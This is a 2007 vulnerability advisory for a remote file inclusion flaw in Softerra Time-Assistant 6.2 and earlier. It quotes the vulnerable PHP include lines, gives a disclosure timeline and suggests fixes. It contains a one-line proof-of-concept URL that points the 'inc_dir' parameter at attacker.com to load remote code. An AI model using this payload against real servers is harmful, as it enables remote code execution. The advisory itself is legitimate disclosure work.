----------------------------------------------------------------------------------------- [ECHO_ADV_80$2007] Softerra Time-Assistant <= 6.2 (inc_dir) Remote File Inclusion Vulnerability ----------------------------------------------------------------------------------------- Author : M.Hasran Addahroni Date : March, 29th 2007 Location : Australia, Sydney Web : http://advisories.echo.or.id/adv/adv80-K-159-2007.txt Critical Lvl : Dangerous Impact : System access Where : From Remote --------------------------------------------------------------------------- Affected software description: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Application : Time-Assistant version : <= 6.2 Time-Assistant Standard, Time-Assistant Enterprise, Time-Assistant light Vendor : http://www.time-assistant.com Description : Time-Assistant - Web based time tracking software for Internet/Intranet featuring employee timesheets and various reports and project management tools that include salary calculation, invoices and expenses, online services and PDA package. Time-Assistant is professional timesheet software for your business. It is a daily time tracking solution designed to reduce the drudgery of recording, analyzing and reporting associated with everyday working routine. With Time-Assistant you can easily manage employee timesheets and expenses, calculate salaries, prepare project estimates, get invoices based on personal or client work rates. --------------------------------------------------------------------------- Vulnerability: ~~~~~~~~~~~~~~ - Invalid include function at lib/timesheet.class.php : ----------------lib/timesheet.class.php------------------- ... include ($inc_dir . "database.inc.php"); include ($lib_dir . "sqlstorage.class.php"); include ($lib_dir . "lib.php"); include ($lib_dir . "timesheet.lib.php"); ... ---------------------------------------------------------------- Input passed to the "inc_dir" and "lib_dir" parameter in lib/timesheet.class.php is not properly verified before being used to include files. This can be exploited to include arbitrary files from local or external resources. Successful exploitation requires that "register_globals" is enabled. Poc/Exploit: ~~~~~~~~~~ http://www.target.com/[Time-Assistant_path]/lib/timesheet.class.php?inc_dir=http://attacker.com/evil? Solution: ~~~~~~~ - Edit the source code to ensure that input is properly verified. - Turn off register_globals Notification: ~~~~~~~ - 28-03-2007 bugs found - 28-03-2007 vendor contacted but no response - 29-03-2007 advisory released --------------------------------------------------------------------------- Shoutz: ~~~~~ ~ ping - my dearest wife, and my little son, for all the luv the tears n the breath ~ y3dips,the_day,moby,comex,z3r0byt3,c-a-s-e,S`to,lirva32,negative, str0ke (for the best comments) ~ masterpop3,maSter-oP,Lieur-Euy,Mr_ny3m,bithedz,murp,an0maly,fleanux,baylaw ~ SinChan,h4ntu,cow_1seng,sakitjiwa, m_beben, rizal, cR4SH3R, madkid, kuntua, stev_manado, nofry, x16 ~ newbie_hacker@xxxxxxxxxxxxxxx ~ #aikmel #e-c-h-o @irc.dal.net --------------------------------------------------------------------------- Contact: ~~~~~~ K-159 || echo|staff || eufrato[at]gmail[dot]com Homepage: http://k-159.echo.or.id/ -------------------------------- [ EOF ] ----------------------------------